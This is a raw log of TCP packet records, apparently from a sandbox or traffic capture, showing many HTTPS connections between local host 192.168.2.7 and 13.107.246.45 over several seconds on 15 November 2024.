Nov 15, 2024 19:39:40.913870096 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.914216995 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.914232969 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.950897932 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.950969934 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.951060057 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.951236963 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.951251030 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.951276064 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.951282024 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.954456091 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.954552889 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.954649925 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.954763889 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.954798937 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.960692883 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.960776091 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.960843086 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.960954905 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.960973024 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.960997105 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.961009979 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.963335037 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.963377953 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.963624001 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.963624001 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.963660002 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.967849970 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.967927933 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.967981100 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.968007088 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.968035936 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.968080044 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.968103886 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.968103886 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.968116045 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.968125105 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.970283031 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.970308065 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.970379114 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.971335888 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.971347094 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.068952084 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.069030046 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.069344997 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.069432020 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.069432020 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.069477081 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.069514036 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.080544949 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.080569983 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.080653906 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.081070900 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.081089973 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.851317883 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.851663113 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.863567114 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.863615990 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.867691994 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.867706060 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.867975950 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.868040085 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.868304014 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.868318081 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.993872881 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.993907928 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.993997097 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.994082928 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.994117022 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.994117975 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:41.994399071 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:41.994457006 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.032655001 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.032695055 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.032723904 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.032740116 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.033747911 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.033747911 CET	49847	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.033788919 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.033814907 CET	443	49847	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.088630915 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.088643074 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.089423895 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.128376961 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.128401041 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.141133070 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.141201973 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.141285896 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.196176052 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.196202993 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.196667910 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.201081991 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.201240063 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.216311932 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.216342926 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.221622944 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.221631050 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.253123045 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.253144979 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.253443956 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.253462076 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.253875971 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.253880978 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.253952026 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.253958941 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.346508026 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.346532106 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.346575022 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.346692085 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.346692085 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.379209995 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.379410982 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.379467964 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.379858971 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.380023956 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.380162001 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.484517097 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.484559059 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.484585047 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.484592915 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.485827923 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.485827923 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.485865116 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.485877991 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.486881018 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.486881018 CET	49850	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.486891031 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.486901045 CET	443	49850	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.503786087 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.503844023 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.503911018 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.505433083 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.505486965 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.505539894 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.506988049 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.507004976 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.508236885 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.508248091 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.508296013 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.508388042 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.508397102 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.508537054 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.508574963 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.868781090 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.879640102 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.879652977 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.880469084 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.880475044 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.957016945 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.975682974 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.975716114 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:42.976206064 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:42.976214886 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.008546114 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.008610964 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.008704901 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.041924953 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.041924953 CET	49851	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.041944027 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.041954994 CET	443	49851	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.077466965 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.077501059 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.077560902 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.084561110 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.084575891 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.103926897 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.103971004 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.104029894 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.104053020 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.104084015 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.104119062 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.104392052 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.104413033 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.104429007 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.104435921 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.109024048 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.109056950 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.109114885 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.110903025 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.110924006 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.244271040 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.245341063 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.247272015 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.247292042 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.247704029 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.247708082 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.249196053 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.249202013 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.249564886 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.249568939 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.293134928 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.322417021 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.322444916 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.323200941 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.323211908 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.373683929 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.373832941 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.373846054 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.373883009 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.373900890 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.373940945 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.377861023 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.377861023 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.377878904 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.377886057 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.399884939 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.399903059 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.399912119 CET	49855	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.399918079 CET	443	49855	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.402849913 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.402875900 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.402931929 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.403285027 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.403295994 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.404171944 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.404203892 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.404261112 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.404460907 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.404479027 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451401949 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451438904 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451479912 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.451493025 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451507092 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451551914 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.451814890 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.451828003 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.451843023 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.451847076 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.454335928 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.454370022 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.454443932 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.455039978 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.455055952 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.802877903 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.841340065 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.847819090 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.855458975 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.855473042 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.855926991 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.855935097 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.865750074 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.865777969 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.866205931 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.866213083 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.981249094 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.981393099 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.981479883 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.991579056 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.991664886 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.992129087 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.998745918 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.998770952 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:43.998781919 CET	49856	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:43.998789072 CET	443	49856	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.005764961 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.005806923 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.133994102 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.147164106 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.175925016 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.191566944 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.200947046 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.217844009 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.217863083 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.218420029 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.218425989 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.219049931 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.219065905 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.219494104 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.219500065 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.228255987 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.228269100 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.228853941 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.228858948 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.345603943 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.345675945 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.345756054 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.349076986 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.349231958 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.349298954 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.365982056 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.366910934 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.370516062 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.469194889 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.469257116 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.469346046 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.471713066 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.471733093 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.471892118 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.471915960 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.471930027 CET	49859	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.471934080 CET	443	49859	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.476916075 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.476943970 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.476958036 CET	49858	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.476963997 CET	443	49858	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.478892088 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.478907108 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.478957891 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.478964090 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.490845919 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.490911007 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.491672039 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.494937897 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.494987965 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.495078087 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.495239973 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.495259047 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.496388912 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.496407986 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.496617079 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.497773886 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.497823000 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.499376059 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.499392986 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.501081944 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.501107931 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:44.501179934 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.501547098 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:44.501569986 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.219266891 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.220086098 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.220139980 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.221635103 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.221641064 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.241414070 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.241811991 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.241846085 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.242273092 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.242280960 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.243491888 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.243859053 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.243946075 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.244313955 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.244328022 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.245124102 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.245528936 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.245563984 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:45.246048927 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:45.246062040 CET	443	49867	13.107.246.45	192.168.2.7
